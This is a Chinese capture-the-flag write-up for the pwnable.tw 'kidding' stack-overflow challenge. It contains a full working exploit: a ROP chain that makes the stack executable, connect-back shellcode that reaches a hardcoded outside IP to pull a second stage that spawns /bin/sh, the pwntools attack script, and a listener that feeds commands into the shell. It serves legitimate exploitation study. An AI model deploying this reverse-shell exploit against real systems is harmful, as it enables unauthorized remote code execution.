pwnable.tw kidding writeup -- stack overflow

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 脚本
  5. 5. 控制脚本

主要考察逆向shellcode,程序是静态编译的。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:kidding.zip

安全防护

ex@Ex:~/test$ checksec kidding
[*] '/home/ex/test/kidding'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

溢出点

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-8h]

read(0, (int)&v4, 100);
close(0);
close(1);
close(2);
return 0;
}

明显的栈溢出,但是程序完全没有交换性。

思路

该程序的难点在于,其payload长度仅有100。

先用rop使得__stack_prot值为7,然后利用_dl_make_stack_executable使得栈可执行,在执行反向shellcode来拿shell。

First: 先用rop使得__stack_prot值为7,然后利用_dl_make_stack_executable使得栈可执行。

layout = [
0,
0x080b8536, # : pop eax ; ret
elf.symbols['__libc_stack_end'],
0x080583c9, # : pop ecx ; ret
7,

0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
elf.symbols['_dl_make_stack_executable'],
0x080bd13b, # : jmp esp
]

原本payload可能不够,但是我找到了 mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret,使得第一步和第二步可以同时进行,节省了很多payload空间。

Second: 执行反向shellcode。

shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl, 255
mov bl, 0
mov al, 3
int 0x80

;// shellcode
jmp ecx
''')

# pause()
sh.send('a' * 8 + flat(layout) + shellcode)

为了节省payload空间,下面的shellcode在远程脚本中发送。

;// dup2(soc, 1)
mov ebx, 0
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80

;// dup2(soc, 2)
mov ebx, 0
mov ecx, 2
mov eax, 63 ;// SYS_dup2
int 0x80

;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

# context.arch = 'amd64'
context.arch = 'i386'
context.log_level = 'debug'
execve_file = './kidding'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10303)
elf = ELF(execve_file)
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x80488B6
b *0x80bd13b
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

layout = [
0,
0x080b8536, # : pop eax ; ret
elf.symbols['__libc_stack_end'],
0x080583c9, # : pop ecx ; ret
7,

0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
elf.symbols['_dl_make_stack_executable'],
0x080bd13b, # : jmp esp
]

shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl, 255
mov bl, 0
mov al, 3
int 0x80

;// shellcode
jmp ecx
''')

# pause()
sh.send('a' * 8 + flat(layout) + shellcode)


sh.interactive()
clear()

控制脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket # 导入 socket 模块
import thread

def print_recv(s):
while(s):
result = s.recv(1024)
if(result):
print(result)
else:
return

s = socket.socket() # 创建 socket 对象
host = '0.0.0.0' # 获取本地主机名
port = 60106 # 设置端口
s.bind((host, port)) # 绑定端口

s.listen(1) # 等待客户端连接
while True:
c, addr = s.accept() # 建立客户端连接
print ('连接地址:' + str(addr))
c.send('\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80')
try:
thread.start_new_thread(print_recv, (c, ))
while(True):
c.send(raw_input('') + '\n')
except Exception as e:
print(e)
print("Disconnect")
c.close()